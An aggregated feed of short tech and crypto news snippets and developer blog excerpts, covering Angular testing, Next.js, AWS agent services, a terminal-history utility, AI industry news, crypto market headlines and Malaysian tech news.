    In 2005, when I first stepped into the professional world of digital design, Adobe Photoshop CS2 had just launched. Macromedia Flash was still a thing, and tools like CorelDRAW were standard in every designer’s arsenal. We manually sketched logos, traced them digitally, selected typefaces based on personal libraries, and iterated endlessly without the speed, suggestions, or previews we take for granted today. Back then, creativity was purely human-powered. You had to know your grids, typography rules, color theory, and be a good observer of visual culture. It took real time and patience to craft something distinctive. There was no quick fix, and definitely no AI suggesting five logo mockups before your tea or coffee even cooled down. But today, everything is different. Fast-forward to 20…  ( 5 min )
    Advanced Angular Testing: 10+ Real-World Mocking Scenarios That Actually Work
    Stop wrestling with Angular unit tests—master these advanced mocking patterns and test like a pro Ever stared at a failing Angular test for hours, wondering why your perfectly good code won't cooperate with Jest? 🤔 I've been there. You know your component works in the browser, but getting it to pass unit tests feels like solving a Rubik's cube blindfolded. The truth is, Angular testing gets tricky fast once you move beyond basic components—especially when dealing with @Input/@Output, routing, interceptors, and complex dependency injection. Here's what you'll master by the end of this article: Mock @Input/@Output properties like a pro Handle ViewChild/ViewChildren and ContentChild scenarios Test routing, guards, and resolvers without headaches Mock pipes, directives, and interceptors…  ( 9 min )
    Creating Blog Tutorial Using Next.JS 15 & TailwindCSS 4.0 (Part #3)
    Hello again, blog builders! After initializing our project and configuring the setup of Next.js 15.x.x and Tailwind CSS 4.x.x, we are ready to carve out the folders fstructure that will bring our modern blog to life. I’m so thrilled to guide you through this step with the depth and detail you’ve come to expect. Our goal? A clean, intuitive directory layout that supports our feature-rich blog—think categories, tagging, search, dark mode, and more—all while keeping our codebase organized and maintainable. Reflecting your updates (like the unplugin-fonts switch and Tailwind’s manual install), let’s craft a blueprint that’s both functional and fabulous. A well-organized folder structure isn’t just about aesthetics—it’s about efficiency. With Next.js’s App Router, reusable components, MDX cont…  ( 7 min )
    Amazon Bedrock AgentCore Frist impression
    Ths blog is English translation of The following blog. https://zenn.dev/clouddevcode/articles/53713a1bd72fb7 We tried out a service that allows you to deploy Amazon Bedrock AgentCore, an AI agent announced at AWS Summit NYC, in a managed environment using a sample application. https://aws.amazon.com/bedrock/agentcore/ This is the code for using Knowledge MCP from Strands Agnent. from strands import Agent from mcp.client.streamable_http import streamablehttp_client from strands.tools.mcp import MCPClient from strands.models import BedrockModel from bedrock_agentcore.runtime import BedrockAgentCoreApp app = BedrockAgentCoreApp() bedrock_model = BedrockModel( model_id="us.anthropic.claude-sonnet-4-20250514-v1:0" ) @app.entrypoint async def invoke(payload): streamable_http_mcp_clien…  ( 4 min )
    Beyond the Migration: Optimizing Legacy Code for AI Performance & Scalability
    Legacy systems form the backbone of most enterprise operations, but integrating AI capabilities into these systems presents unique challenges that go far beyond typical modernization efforts. Legacy systems weren't built with AI in mind, leading to inherent architectural friction points—synchronous processing models clash with AI's asynchronous nature, monolithic databases struggle with AI's data-hungry requirements, and traditional caching strategies fall short of AI's dynamic workload patterns. Simply migrating to cloud infrastructure isn't enough—you need strategic optimization to handle AI workloads effectively. Let's dive into practical approaches to transform your legacy code for AI performance and scalability, turning these architectural friction points into competitive advantages. …  ( 11 min )
    How I Stopped Sounding Like a Bot (and You Can Too)
    A few years back, writing meant staring at a blinking cursor for hours, sipping cold coffee, typing something—then deleting most of it. Now? I blink, and there’s 800 words on the screen. It’s not magic. It’s ChatGPT… or whatever tool’s trending this week. And while that speed is great, there’s a weird side effect. Everything starts to sound... the same. Too clean. Too balanced. Too not-me. The more I used AI tools to draft things, the more I realized: I wasn’t just losing time editing—I was losing my voice. I learned this the hard way when one of my early AI-assisted pieces got flagged. Not by a person, mind you. By a detector. Apparently, my sentences were “too predictable.” Too structured. Too consistent in length and tone. Wait—being articulate is bad now? Turns out, yeah. Sort of. Dete…  ( 4 min )
    Strategy Design Pattern
    Imagine you are building an e-commerce platform, and you need to handle multiple payment methods like credit cards, PayPal, and bank transfers. Each method has its own processing logic, but you want to keep your code flexible and maintainable. Strategy Design Pattern is the solution, allowing you to define a family of algorithms, encapsulate each one, and make them interchangeable. The Strategy Pattern is a behavioral design pattern that enables you to define a set of algorithms, encapsulate them in separate classes, and switch between them dynamically. This makes your code more modular, easier to extend, and avoids hard-coded logic. // Strategy Interface interface PaymentStrategy { boolean processPayment(double amount); } // Concrete Strategy: Credit Card class CreditCardPayment impl…  ( 4 min )
    How one annoying teacher can give you an idea.
    myFonttyper. What is it? A short story. I always hated writing texts. My hand would always get cramped up, and in the end, I could not even read what I wrote a second ago. I thought everything was about to change after I went to 11th grade. We got our own IPads, which meant, no more writing. Or so I thought. Lots of teachers did not really care what we did, so a lot of them let us type our homework, and send it like that. But one teacher in particular, our history teacher, she did not want any of that. She forced us to write with our hand, and if your homework was typed? Well, bad for you, you did not do your homework. I hated that, everybody hated that. So, when it was time for a summer break, I thought to myself; "man, 2 weeks of school left, and I still have homework that I gotta do with my apple pen. I wish there was an alternative", there really was not. I researched for up to half an hour, until I just opened VSCode and sat down for one single weekend. myFonttyper was born. It was ugly, and buggy, but it was born. Instantly on the day I released it on netlify (back then it was static), I used it. The results? Success. I wrote the letter, numbers, and symbols only once, and my website basically changed what I wrote into my handwriting. The teacher did not notice a thing, my homework was accepted. During the holidays I sat down, created an app, released it on both iOS and Android. Afterwards I finished creating an API in GoLang, and switched to a dynamic web design rather than a static one. I bought myself a server, and learned server management, and Linux Administration. Dockerization, Automation, Security, and Monitoring. Everything thanks to that one teacher. So again, I repeat myself. Thanks for reading.  ( 4 min )
    I’ve created a web tool to batch add update dates at the beginning of filenames
    Have you ever had to add update dates at the start of filenames? For example, in some companies there are rules like: “When uploading files to a shared folder, please add the update date at the beginning of certain filenames.” However, when dealing with many files, this task can be surprisingly tedious and time-consuming. Renaming each file manually every time is stressful, isn’t it? To solve this, I developed a web tool that can process all files in a folder at once and automatically add the update date. Since it runs in your browser, there’s no need to install anything—you can use it right away. Please give it a try! 🌐 Try it here 💡 Use Cases This tool is useful in the following scenarios: ✅ When you want to add dates before uploading files to a shared drive or Google Drive ✅ When…  ( 4 min )
    Instantly Turn Design Images into Vue.js Components
    Streamlining Design to Vue Development Accelerating Your Workflow with Image to Vue Conversion Let's be real, turning design mockups into actual, working Vue.js components can be a drag. It's often a tedious process of manually coding everything, pixel by pixel. But what if you could skip a huge chunk of that? That's where image to Vue conversion comes in. It's all about speeding things up. Instead of spending hours writing code from scratch, you can use tools that automatically generate Vue components from your design images. This means less time coding basic layouts and more time focusing on the complex logic and features that make your application unique. The Power of AI in Vue Component Generation AI is changing the game, and Vue component generation is no exception. Forget about clun…  ( 5 min )
    Serverless Scaling: Deploying Strands + MCP on AWS
    In this Article, we'll explore how to deploy a Strands Agent connected to an MCP server using serverless AWS services. We'll cover three deployment models—Lambda (native & web adapter) and Fargate—and compare their pros, limitations, and recommended scenarios. Strands Agents SDK provides a convenient model-driven loop, while MCP enables dynamic tool invocation. Deploying them on AWS serverless platforms allows you to build scalable, maintainable agents without managing servers1. Option Benefits Limitations AWS Lambda (Native) Fast startup, easy CI/CD, unified observability Max 15-minute execution, no streaming support2 Lambda with Web Adapter Preserve web frameworks, serverless pay-per-use Slower cold start (1–3 s), added complexity3 AWS Fargate (ECS/EKS) Long-running containe…  ( 5 min )
    How to Interactively Retrieve Terminal History
    his is a command history utility with icons and colors that works on Windows and GNU/Linux. Fonts Git GCC or Clang PDCurses Fonts Git GCC or Clang NCurses CMake Example using APT: sudo apt install build-essential cmake libncurses-dev git The fonts need to be installed manually as per the link above. PowerShell git clone https://github.com/terroo/his Set-Location his g++ -I C:\mingw64\include main.cpp his.cpp C:\mingw64\lib\pdcurses.a -o his New-Item -Path "C:\His\bin" -ItemType Directory Move-Item .\his.exe -Destination "C:\His\bin\" You can now exit the cloned directory and remove it. Create an environment variable for your user [System.Environment]::SetEnvironmentVariable("Path", $env:Path + ";C:\His\bin", [System.EnvironmentVariableTarget]::User) Close and open the terminal and test: his --version git clone https://github.com/terroo/his cd his cmake . -B build cmake --build build sudo cmake --install build You can now exit the cloned directory and remove it: cd .. && rm -rf his/. And test: his --version top command, press ENTER to run it via his his --help Usage: his [options] Options: --match-start, -m Match only the exact command. --no-show-icons, -n No displays icons. --help, -h Show this message. --version, -v Show version info. 🐂 On GNU/Linux 🪟 On Windows 📹 Video tutorial showing step by step how the his command was made. https://youtu.be/gILIsK3MiGQ  ( 3 min )
    From Darkness to Light: How a Final Chance Reignited My Dream
    Peace and blessings be upon you, I am Mohamed Al-Hajj from Yemen. My participation in the hackathon was not merely a technical challenge, but a truly human journey—full of challenges, hope, and determination. I participated with two projects under the name "My Smart Commerce": An AI tool for analyzing e-commerce store data, helping sellers improve performance and understand the market more intelligently. A unified e-commerce platform that connects users to all global platforms like Amazon, Shopify, Etsy, and others. It helps customers find the products they want from all stores and provides smart AI-powered recommendations to choose the most suitable store or product, saving them time and search effort. My vision was to build tools that serve people and simplify commerce and shopping,…  ( 4 min )
    Untitled
    Check out this Pen I made!  ( 2 min )
    Why Your Org Chart is About to Disappear
    I've been thinking a lot about org charts lately. Not because I love them (I don't), but because I recently started at Lattice after spending years working on AI startups, and getting onboarded into the HR world has me reflecting on what the future of work might actually look like. What's struck me isn't the technology itself, but how we're still thinking about AI within the constraints of traditional organizational structures. We debate whether AI will replace people or empower them, but we're not really asking how AI might impact organizational design itself - how it could reshape people's roles within companies. A few weeks ago, I was on a bike ride around the UW campus in Seattle with my partner when she made an observation that really stuck with me. She predicted that undergrad progra…  ( 7 min )
    Distributed Web Crawlers: A Hands-On Guide with Go
    1. Introduction Hey, fellow coders! In today’s data-hungry world, web crawlers are the unsung heroes powering everything from price trackers to sentiment analysis. But here’s the catch: when you’re scraping millions of pages, a single-machine crawler feels like drinking from a firehose with a straw—slow and frustrating. Enter distributed web crawlers: a squad of machines working together to conquer the web at scale. This guide is for devs with a year or two of Go under their belts—folks who vibe with goroutines and HTTP requests. We’re building a distributed crawler from scratch in Go, tackling real-world challenges like IP bans and goroutine leaks. Why Go? It’s the Swiss Army knife of languages: lightweight concurrency, killer networking, and dead-simple deployment. By the end, you’ll h…  ( 8 min )
    How Generative AI is Being Used in New Ways
    Introduction Hello everyone! Today, I am going to share with you all what I recently found and how good it is. Recently, I came to know about an Asset Management Platform that helps developers like us manage assets on the web efficiently. Yes! I am talking about Cloudinary (an Image and Video API Platform). It provides dynamic APIs to manipulate assets like images and videos on the web. But today, I am not going to share what Cloudinary is; instead, we are going to explore some new and exciting features from Cloudinary. A quick introduction to Cloudinary for those who haven't heard this name before, so you can understand the blog better. If you already know what it is and have used it, you can skip this section. Cloudinary is an Image and Video API Platform that offers dynamic APIs to ho…  ( 5 min )
    How to Enhance Your Dev Workflow with Privacy-First, Client-Side Tools
    I am the kind of developer who hates to install things and likes to use online quick tools for my daily small dev tasks. I recently found myself frustrated (again) with the usual dev utilities online: slow, ad-heavy, sketchy data leaks, and zero consistency. Every time I needed something as simple as a YAML validator or regex tester, it felt like stepping into a time warp of old-school websites with painful UX. I had enough, So I decided to do something about it and build something better. And this time, I do it in public. No tracking or spying: Everything runs in browser. No user data is ever sent to server or anyone. Zero latency: Instant results = no loading bars, no waiting. Secure & portable: Works offline or behind firewalls. Perfect for corporate private environments or company setu…  ( 4 min )
    When Resilience Backfires: Retry and Circuit Breaker in Spring Boot
    Introduction Using resilience patterns like @Retryable and @CircuitBreaker are often seen as a best practice. But when you mix Retry with a Circuit Breaker without fully understanding how they work together, your application may behave in ways you never intended. This isn't just about avoiding errors; it's about avoiding silent failures. This post is about what happens after you implement both, and what you need to configure to ensure your app is resilient without losing control over logic. When using Spring Retry alone: @Retryable( retryFor = { SocketTimeoutException.class, TemporaryServiceException.class }, maxAttempts = 3, backoff = @Backoff(delay = 1000) ) public String fetchData() { return externalApi.call(); } If all 3 retry attempts fail, the final exception is th…  ( 5 min )
    Veja o histórico do Terminal de forma interativa
    his é um utilitário de histórico de comandos com ícones e cores que funciona no Windows e GNU/Linux. Fontes Git GCC ou Clang PDCurses 🐂 GNU/Linux Fontes Git GCC ou Clang NCurses CMake Exemplo usando APT: sudo apt install build-essential cmake libncurses-dev git As fontes precisam ser instaladas manualmente conforme o link acima. PowerShell git clone https://github.com/terroo/his Set-Location his g++ -I C:\mingw64\include main.cpp his.cpp C:\mingw64\lib\pdcurses.a -o his New-Item -Path "C:\His\bin" -ItemType Directory Move-Item .\his.exe -Destination "C:\His\bin\" Agora você pode sair do diretório clonado e removê-lo. Crie uma variável de ambiente para o seu usuário: [System.Environment]::SetEnvironmentVariable("Path", $env:Path + ";C:\His\bin", [System.EnvironmentVariableTarget]::User) Feche e abra o terminal novamente e teste: his --version git clone https://github.com/terroo/his cd his cmake . -B build cmake --build build sudo cmake --install build Agora você pode sair do diretório clonado e removê-lo: cd .. && rm -rf his/. E testar: his --version comando desejado, pressione ENTER para executá-lo via his his --help Uso: his [opções] Opções: --match-start, -m Busca apenas pelo comando exato. --no-show-icons, -n Não exibe ícones. --help, -h Mostra esta mensagem. --version, -v Mostra informações da versão. 🐂 No GNU/Linux 🪟 No Windows 📹 Tutorial em vídeo mostrando passo a passo como o comando his foi criado. https://youtu.be/gILIsK3MiGQ  ( 3 min )
    [Boost]
    The new best way to master LeetCode fast is with this free & open source application Hussain Ali ・ Jul 21 #interview #opensource #react #productivity  ( 2 min )
    Title: Open vs. Closed Models: Balancing Trade-offs for Enterprise AI Adoption
    Title: Open vs. Closed Models: Balancing Trade-offs for Enterprise AI Adoption Introduction: Artificial Intelligence (AI) has become an integral part of modern businesses, transforming the way organizations operate and interact with their customers. With the increasing adoption of AI, companies are faced with the challenge of selecting the right AI model for their enterprise needs. In this blog post, we will explore the trade-offs between open and closed models and how leading AI companies, General Motors, Zoom, and IBM, are navigating this decision. Open Models vs. Closed Models: Open models are AI models that are designed to be transparent, interpretable, and explainable. These models allow users to understand how the model arrived at its predictions or decisions, making them ideal for…  ( 4 min )
  • Open

    Spring vs Spring Boot: How to Choose the Right Java Framework
    The Java programming language is a favourite among solo devs and large teams alike. It’s popular for many reasons and use cases, including its mature ecosystem, stable support, efficiency, and reliability. If you’re learning Java with the end goal of...  ( 14 min )
    How to Build Simpler Accordion Menus with HTML
    Accordion menus are everywhere on the web because users want fast answers and smooth navigation. They help create clean, organized, and user-friendly interfaces. Many developers still reach for JavaScript to build accordions, which adds avoidable com...  ( 7 min )
  • Open

    Crowdstrike’s massive cyber outage 1-year later: lessons enterprises can learn to improve security
    The incident's legacy extends far beyond CrowdStrike. Organizations now implement staged rollouts and maintain manual override capabilities.  ( 9 min )
    Google DeepMind makes AI history with gold medal win at world’s toughest math competition
    Google DeepMind's Gemini AI won a gold medal at the International Mathematical Olympiad by solving complex math problems using natural language, marking a breakthrough in AI reasoning and human-level performance.  ( 9 min )
    Chinese startup Manus challenges ChatGPT in data visualization: which should enterprises use?
    While Manus handles messy data better than ChatGPT, neither tool is yet ready for boardroom-ready slides.  ( 8 min )
    A ChatGPT ‘router’ that automatically selects the right OpenAI model for your job appears imminent
    Like going to the supermarket and staring at aisles of cereal and sauces, the average ChatGPT user is currently faced with an overabundance.  ( 8 min )
  • Open

    Crypto ATMs seized in the UK amid growing scrutiny of kiosk-based exchanges
    Crypto ATM arrests in London come as US states like Wisconsin move to limit daily transactions and mandate fraud warnings.
    Judge allows testimony on ‘feasible’ Tornado Cash code changes
    The second week of the Roman Storm trial kicked off with Judge Katherine Failla allowing a witness to testify that Tornado Cash could have been modified to prevent criminal use.
    Hive Digital accelerates AI pivot with $100M HPC expansion — Cointelegraph exclusive
    Hive Digital’s HPC business is targeting a $100 million annual revenue run rate as it continues to diversify beyond Bitcoin mining.
    Polymarket set to reenter US with $112M acquisition of QCEX derivatives exchange
    Polymarket comes back to the United States more than two years after US regulators dropped investigations into the predictions market platform.
    StablecoinX to go public via SPAC merger, raising $360M for ENA treasury
    The new entity will manage a crypto corporate reserve powered by the ENA token, with investors including Pantera, Galaxy Digital and the Ethena Foundation.
    To the moon? Justin Sun to be launched into space after $28M bid
    The Blue Origin mission is expected to move forward with six crew members after a 2021 bid from the Tron founder.
    FTX seeks time to respond as creditors fight freeze on $470M foreign claims
    The FTX estate calls 49 countries “restricted foreign jurisdictions” including China, which accounts for 82% of repayment funds the bankrupt cryptocurrency exchange would hold back.
    Stablecoin or CBDC? Tether’s latest freeze adds fuel to decentralization debate
    Following its latest freeze of nearly $86K in stolen USDt, Tether’s enforcement capabilities are again in the spotlight — raising questions about centralized control in stablecoin ecosystems.
    Trump’s media company reports $2B in Bitcoin after crypto bills pass US House
    Backed by $2.5 billion in funding, Trump’s media company has started acquiring Bitcoin as part of its previously announced investment strategy.
    Bitcoin bull run 'likely close to over' says trader as XRP flips McDonald's
    Bitcoin price action leaves a lot to be desired as an XRP market cap milestone compounds trader excitement over a new "altseason."
    Trump’s Bitcoin mentor bet on BTC treasury strategies — and his wealth is exploding
    David Bailey played a key role in transforming US President Donald Trump from a crypto skeptic into a vocal supporter. Now, he’s reaping the rewards.
    Pro-Israel hackers took $81M in crypto — but it wasn’t about the money
    A pro-Israel hacker group stole $81 million worth of crypto from Iran’s largest crypto exchange, Nobitex, adding to the conflict between the two countries.
    Solana price paints 'textbook' chart pattern for potential rally to $6K
    SOL’s price is painting a textbook cup-and-handle pattern breakout with a price target of around $6,300.
    Progressives are losing the crypto future
    As US conservatives rapidly shape the crypto landscape through policy, funding and grassroots adoption, progressives remain divided and hesitant. Progressives lack a unified strategy and risk losing relevance.
    The $3.5B shift: How Bitcoin miners are cashing in on AI
    From GPUs to AI deals, Bitcoin miners are finding new lifelines beyond crypto. AI is becoming a major revenue stream for them.
    How to use Google Gemini to turn crypto news into trade signals
    Google Gemini could help traders break down the news, track sentiment and turn headlines into actionable crypto trading strategies.
    Aave proposal to launch centralized lending on Kraken’s Ink moves to next phase
    Aave’s community overwhelmingly approved a proposal to license a centralized version of its lending protocol for deployment on Kraken’s Ink blockchain.
    Aave proposal to launch centralized lending on Kraken’s Ink moves to next phase
    Aave’s community overwhelmingly approved a proposal to license a centralized version of its lending protocol for deployment on Kraken’s Ink blockchain.
    BitGo files for US IPO as crypto custody business surges
    BitGo confidentially submits S-1 filing to the Securities and Exchange Commission amid $100 billion in assets under custody and growing international expansion.
    BitGo files for US IPO as crypto custody business surges
    BitGo confidentially submits S-1 filing to the SEC amid $100 billion in assets under custody and growing international expansion.
    Ethereum NFTs dominate 7-day sales rankings as ETH nears $4K
    CryptoPunks remained the top NFT collection by market capitalization, with a valuation of $1.8 billion, according to NFT Price Floor.
    Ethereum NFTs dominate 7-day sales rankings as ETH nears $4K
    CryptoPunks remained the top NFT collection by market capitalization, with a valuation of $1.8 billion, according to NFT Price Floor.
    Bitcoin’s quantum countdown has already begun, Naoris CEO says
    A veteran hacker warns how quantum computing could quietly dismantle the cryptography securing Bitcoin and blockchains.
    Bitcoin’s quantum countdown has already begun, Naoris CEO says
    A veteran hacker warns how quantum computing could quietly dismantle the cryptography securing Bitcoin and blockchains.
    Here’s what happened in crypto today
    Need to know what happened in crypto today? Here is the latest news on daily trends and events impacting Bitcoin price, blockchain, DeFi, NFTs, Web3 and crypto regulation.
    CoinDCX announces white hat recovery bounty after $44M hack
    The Indian crypto exchange announced a recovery program of up to 25% for ethical hackers who can help recover the stolen stablecoins.
    CoinDCX announces white hat recovery bounty after $44M hack
    The Indian crypto exchange announced a recovery program of up to 25% for ethical hackers who can help recover the stolen stablecoins.
    COINS Act model law offers blueprint for crypto regulation in India
    Hashed Emergent’s Vishal Achanta told Cointelegraph that COINS Act aims to turn India from a “regulatory minefield” into a destination of choice for the crypto community.
    COINS Act model law offers blueprint for crypto regulation in India
    Hashed Emergent’s Vishal Achanta told Cointelegraph that COINS Act aims to turn India from a “regulatory minefield” into a destination of choice for the crypto community.
    Strategy adds $740M of Bitcoin as price surges past $122K
    Michael Saylor’s Strategy made a fresh $739.8 million investment in Bitcoin last week, with total holdings now reaching 607,770 BTC.
    Strategy added $740M of Bitcoin as price surged past $122K
    Michael Saylor’s Strategy made a fresh $739.8 million investment in Bitcoin last week, with total holdings now reaching 607,770 BTC.
    Chinese blockchain Conflux launching offshore yuan-backed stablecoin
    Chinese blockchain Conflux launched Conflux 3.0 network and unveiled a new offshore yuan-backed stablecoin targeting “Belt and Road” cross-border payments.
    Chinese blockchain Conflux to launch offshore yuan-backed stablecoin
    Chinese blockchain Conflux has launched Conflux 3.0 and unveiled a new offshore yuan-backed stablecoin targeting “Belt and Road” cross-border payments.
    Ether Machine to launch $1.5B institutional ETH yield fund
    The company plans to launch “one of the largest onchain ETH positions of any public entity” by generating ETH-denominated returns through staking and DeFi participation.
    Ether Machine to launch $1.5B institutional ETH yield fund
    The company plans to launch “one of the largest onchain ETH positions of any public entity” by generating ETH-denominated returns through staking and DeFi participation.
    $3.4B in Ether lost forever due to user errors, Coinbase warns
    Ether lost due to bugs and user errors has surged 44% since March 2023, according to Conor Grogan, head of product at Coinbase.
    $3.4B in Ether lost forever due to user errors, Coinbase warns
    Ether lost due to bugs and user errors has surged 44% since March 2023, according to Conor Grogan, head of product at Coinbase.
    Ethereum mirrors stocks as ETH price chart hints at ‘final surge’ to $8K
    Ether’s current structure mirrors the Dow Jones’ 1980 bull run, with technical patterns reinforcing the ETH price rally outlook.
    Ethereum mirrors stocks as ETH price chart hints at ‘final surge’ to $8K
    Ether’s current structure mirrors the Dow Jones’s 1980 bull run, with technical patterns reinforcing the ETH price rally outlook.
    Blockchain compliance tools can slash TradFi costs: Chainlink co-founder
    Institutional investors will increasingly adopt blockchain-based compliance solutions and tokenized RWAs, Chainlink’s co-founder Sergey Nazarov told Cointelegraph.
    Blockchain compliance tools can slash TradFi costs — Chainlink co-founder
    Institutional investors will increasingly adopt blockchain-based compliance solutions and tokenized RWAs, Chainlink’s co-founder Sergey Nazarov told Cointelegraph.
    SEC explores Ethereum token standard for compliant securities
    ERC-3643 Association president Dennis O’Connell told Cointelegraph the SEC showed “a noticeable shift in tone” and openness to blockchain standards.
    SEC explores Ethereum token standard for compliant securities
    ERC-3643 Association president Dennis O’Connell told Cointelegraph the SEC showed “a noticeable shift in tone” and openness to blockchain standards.
    XRP cloud mining in 2025: How much can you really earn?
    XRP cloud mining is possible in 2025, but approach with caution, as risks often outweigh the rewards.
    Crypto funds post record $4.4B inflows as Ether ETPs break 2024 gains
    Crypto funds posted record weekly inflows at $4.4 billion, with Ether ETP gains surpassing 2024 totals at $6.2 billion.
    Crypto funds post record $4.4B inflows as Ether ETPs break 2024 gains
    Crypto funds posted record weekly inflows at $4.4 billion, with Ether ETP gains surpassing 2024 totals at $6.2 billion.
    ‘Altseason is here’ — 5 things to know in Bitcoin this week
    Bitcoin price excitement is fading as altcoins become crypto traders’ new target. Is BTC due for a deeper correction?
    ‘Altseason is here’ — 5 things to know in Bitcoin this week
    Bitcoin price excitement is fading as altcoins become crypto traders’ new target. Is BTC due for a deeper correction?
    How a teen stole $243M in Bitcoin and revealed his identity on livestream
    Veer Chetal, a 19-year-old hacker, used social engineering to steal $243 million in Bitcoin, then exposed his identity during a livestream and reoffended while out on bail.
    Ethereum’s Fusaka upgrade set for November, Glamsterdam planning next
    Fusaka hard fork’s next devnet will go live on Wednesday. The first public testnet is scheduled to launch in late September.
    Ethereum’s Fusaka upgrade set for November, Glamsterdam planning next
    Fusaka hard fork’s next devnet will go live on Wednesday. The first public testnet is scheduled to launch in late September.
    US bank lobby challenges crypto firms’ bids for bank licences
    US banking and credit union groups asked the OCC to delay deciding on bank license applications from crypto firms, arguing there are “significant policy and process concerns.”
    US bank lobby challenges crypto firms’ bids for bank licences
    US banking and credit union groups asked the OCC to delay deciding on bank license applications from crypto firms, arguing there are “significant policy and process concerns.”
    ‘Rich Dad, Poor Dad’ author warns Bitcoin ‘bubble’ could burst soon
    Robert Kiyosaki says that asset bubbles will soon "bust", and when they do, “odds are gold, silver, and Bitcoin will bust too.”
    ‘Rich Dad, Poor Dad’ author warns Bitcoin ‘bubble’ could burst soon
    Robert Kiyosaki says that asset bubbles will soon “bust, and when they do “odds are gold, silver, and Bitcoin will bust too.”
    Blistering NFT ‘sweep’ underway as CryptoPunks, Penguins surge
    CryptoSlam strategist Yehudah Petscher told Cointelegraph in May he thought the market was poised for a rebound, but with a more tempered outlook.
    Blistering NFT ‘sweep’ underway as CryptoPunks, Penguins surge
    CryptoSlam strategist Yehudah Petscher told Cointelegraph in May he thought the market was poised for a rebound, but with a more tempered outlook.
    Ethereum is scaling: TPS, gas limit up as validators back 45M target
    Ethereum’s gas limit climbed over 37 million, with 47% of validators supporting a jump to 45 million.
    Ethereum is scaling: TPS, gas limit up as validators back 45M target
    Ethereum’s gas limit climbed over 37 million, with 47% of validators supporting a jump to 45 million.
    UK working to sell $7B in seized Bitcoin to boost budget: Report
    A new report suggests the UK Treasury is working to sell up to $7 billion worth of seized Bitcoin, but one person has slammed the report as “sensationalism” amid a crypto bull run.
    UK working to sell $7B in seized Bitcoin to boost budget: Report
    A new report suggests the UK Treasury is working to sell up to $7 billion worth of seized Bitcoin, but one person has slammed the report as “sensationalism” amid a crypto bull run.
    Fix incoming for MetaMask bug that’s slowly killing solid-state drives
    Consensys says it’s aware of a small number of MetaMask users reporting “unusually high disk activity” and will be issuing a fix very soon.
    Fix incoming for MetaMask bug that’s slowly killing solid-state drives
    Consensys says it’s aware of a small number of MetaMask users reporting “unusually high disk activity” and will be issuing a fix very soon.
  • Open

    Solana MEV Economics: The Role of Jito, Bundles, and Liquid Staking
    Learn how Solana's $7.5B MEV economy works through Jito bundles, liquid staking, and validator infrastructure.  ( 9 min )
    PYUSD on Solana: PayPal's Stablecoin Integration Complete Guide
    A practical guide to integrating PayPal’s PYUSD stablecoin on Solana, covering Token Extensions, real use cases, and developer integration.  ( 9 min )
  • Open

    The Download: how your data is being used to train AI, and why chatbots aren’t doctors
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. A major AI training data set contains millions of examples of personal data Millions of images of passports, credit cards, birth certificates, and other documents containing personally identifiable information are likely included in…  ( 21 min )
    AI companies have stopped warning you that their chatbots aren’t doctors
    AI companies have now mostly abandoned the once-standard practice of including medical disclaimers and warnings in response to health questions, new research has found. In fact, many leading AI models will now not only answer health questions but even ask follow-ups and attempt a diagnosis. Such disclaimers serve an important reminder to people asking AI…  ( 22 min )
  • Open

    Public Bank’s PB engage MY App No Longer Accessible From 15 August 2025
    Public Bank is urging customers to migrate to its newer MyPB mobile app, following the discontinuation of its older PB engage MY app. In a recent notice, the bank has announced that the latter can no longer be accessed from 15 August 2025. Customers are advised to download the MyPB app from the Google Play […] The post Public Bank’s PB engage MY App No Longer Accessible From 15 August 2025 appeared first on Lowyat.NET.  ( 34 min )
    Chery Previews Tiggo 7 And 8 PHEV Models; Launches Super Hybrid Platform
    Chery today previewed the Tiggo 7 and 8 PHEV models ahead of their launch, as well as officially introduced its Super Hybrid Platform (CSH) and Direct Hybrid Transmission (DHT) system. Both of these models were first seen during the Malaysian Auto Show (MAS 2025), though information from the preview are still pretty scarce apart from […] The post Chery Previews Tiggo 7 And 8 PHEV Models; Launches Super Hybrid Platform appeared first on Lowyat.NET.  ( 35 min )
    Nothing Headphone (1) Lightning Review: A Decent First Try With A Design All Its Own
    The Nothing Headphone (1) marks the brand’s first foray into the over-ear category after focusing almost exclusively on earbuds. Launched in Malaysia for RM1,099, the headset is available in both White and Black colourways. I’ve had the chance to test the device ahead of release, giving it ample time to burn in and for me […] The post Nothing Headphone (1) Lightning Review: A Decent First Try With A Design All Its Own appeared first on Lowyat.NET.  ( 39 min )
    Govt Considers Making MyDigital ID Registration Mandatory
    Despite the MyDigital ID being touted as the one-stop shop for government agency platforms, sign-ups number about 2.8 million as of June of the year. For now, sign-ups are still optional, but perhaps in light of the current number of registered users, the government is considering making registrations mandatory. “The government is currently exploring the […] The post Govt Considers Making MyDigital ID Registration Mandatory appeared first on Lowyat.NET.  ( 33 min )
    Next Battlefield Game To Be Called Battlefield 6
    It looks like EA’s next Battlefield title will be ditching the “xx42” moniker and returning to single-digit names, which in this case, will be Battlefield 6. This was more or less confirmed through multiple leaks, posted by content creators over the past several weeks. In a since-deleted post by content creator Doom49, they posted the […] The post Next Battlefield Game To Be Called Battlefield 6 appeared first on Lowyat.NET.  ( 34 min )
    BMW iX xDrive60 M Sport Pro, xDrive45 Sport Launches In Malaysia
    BMW Group Malaysia unveiled the iX xDrive60 M Sport Pro and iX xDrive45 Sport alongside the X5 xDrive40i M Sport. Both these models are facelifts of the iX xDrive40 and iX xDrive50. According to the automaker, the name change has been implemented as both models have so much more to offer than a regular facelift. […] The post BMW iX xDrive60 M Sport Pro, xDrive45 Sport Launches In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Meet The Airpack Backpack, Inspired by The Apple AirPods
    Have you ever wanted a backpack inspired, designed, and shaped like the Apple AirPods’ casing? Yeah, us neither but believe it or not, a US-based company called Bravest did exactly that with the AirPack. It honestly takes a special kind of someone or, in this case, company to want to create something as audacious as […] The post Meet The Airpack Backpack, Inspired by The Apple AirPods appeared first on Lowyat.NET.  ( 34 min )
    HONOR Introduces “Worry-Free” Service For Magic V5
    HONOR recently launched its latest book-style foldable in Malaysia, the Magic V5. The new smartphone comes with an improved service policy offering after-sales care, which includes Worry-Free 1-Year Crack Protection and 2-Year Quality Assurance. This service policy is intended to cover issues pertaining to the device’s inner and outer screens. The Worry-Free 1-Year Crack Protection […] The post HONOR Introduces “Worry-Free” Service For Magic V5 appeared first on Lowyat.NET.  ( 34 min )
    AKASO 360 Action Cam To Launch On 28 July
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    Microsoft Issues Urgent Security Alert Over Cyberattacks Targeting Global Agencies And Businesses
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    Malaysia remains 9th largest global exporter of high-tech products
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    Alabama’s Pursell Agri-Tech teams with Wastech on fertilizer venture in Malaysia
